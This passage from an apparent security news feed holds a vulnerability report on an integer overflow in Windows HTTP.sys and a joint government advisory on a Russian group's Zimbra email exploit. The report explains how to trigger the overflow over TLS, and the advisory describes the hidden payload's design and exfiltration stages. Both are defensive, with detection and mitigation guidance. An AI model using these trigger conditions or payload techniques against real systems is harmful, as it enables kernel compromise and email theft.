bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
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<item>
<title><![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service co...]]></description>
<link>https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.</em></p>





















  
  




  



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  <p class="">A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests. </p><p class="">A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.</p><p class=""><strong>The Vulnerability</strong></p><p class=""><em>HTTP.sys</em> is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.</p><p class="">When operating over HTTPS, <em>HTTP.sys</em> delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a <a href="https://www.rfc-editor.org/info/rfc8446/">per-record basis</a>: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to <em>HTTP.sys</em> as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The decrypted payload of each TLS record is delivered independently to the HTTP parser via</p><p class=""><em>UlHttpBufferReceiveEvent()</em>, regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches <em>HTTP.sys</em>.</p><p class="">The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The <em>capacity</em> field stores the current number of allocated slots in the buffer reference array. The <em>count</em> field stores the number of slots currently in use. The <em>ref_array_ptr</em> field points to the dynamically allocated array of 8-byte buffer reference entries.</p><p class="">An integer overflow vulnerability exists in <em>HTTP.sys</em>. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When <em>HTTP.sys</em> receives data for an HTTP/1.x request, it allocates a <em>UL_REQUEST_BUFFER</em> structure for each receive indication and tracks these buffers in the per-request reference array described above. The <em>count</em> field records the number of active buffer references, and the <em>capacity</em> field records the total number of allocated slots. </p><p class="">As the HTTP parser (<em>UlpParseNextRequest()</em>) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When <em>count</em> reaches <em>capacity</em>, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + <em>capacity</em> * 8, the contents of the existing array are copied via <em>memmove</em> using <em>count</em> * 8 as the copy length, and <em>capacity</em> is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.</p><p class="">After 13,107 growth events, <em>capacity</em> reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, <em>count</em> (which is now 65,536 or greater) exceeds the zero <em>capacity</em>, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the <em>memmove</em> copies <em>count</em> * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.</p><p class="">Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and <em>UlpMergeBuffers() </em>further combines buffers within <em>HTTP.sys</em>. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through <em>UlHttpBufferReceiveEvent()</em> into <em>UlpCopyIndicatedData()</em>. If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing <em>UlpAdjustBuffers()</em> to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.</p><p class="">To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The <em>MaxRequestBytes </em>registry value (at <em>HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters</em>) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping <em>MaxRequestBytes</em> at or below 65,535 bytes represents the most conservative configuration to prevent this attack.</p><p class="">A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.</p><p class=""><strong>Notes:</strong></p><p class="">• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.</p><p class="">• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.</p><p class="">• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.</p><p class=""><strong>Source Code Walkthrough</strong></p><p class="">The following code snippet was taken from <em>HTTP.sys</em> version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.</p><p class="">In <em>UlpParseNextRequest()</em>:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><strong>Detection Guidance</strong></p><p class="">To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.</p><p class="">The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.</p><p class="">An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><em>Decrypted traffic inspection:</em></p><p class="">After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Encrypted traffic heuristics:</em></p><p class="">Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Notes:</em></p><p class="">• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.</p><p class="">• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.</p><p class="">• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291">patched</a> by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.</p><p class="">Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
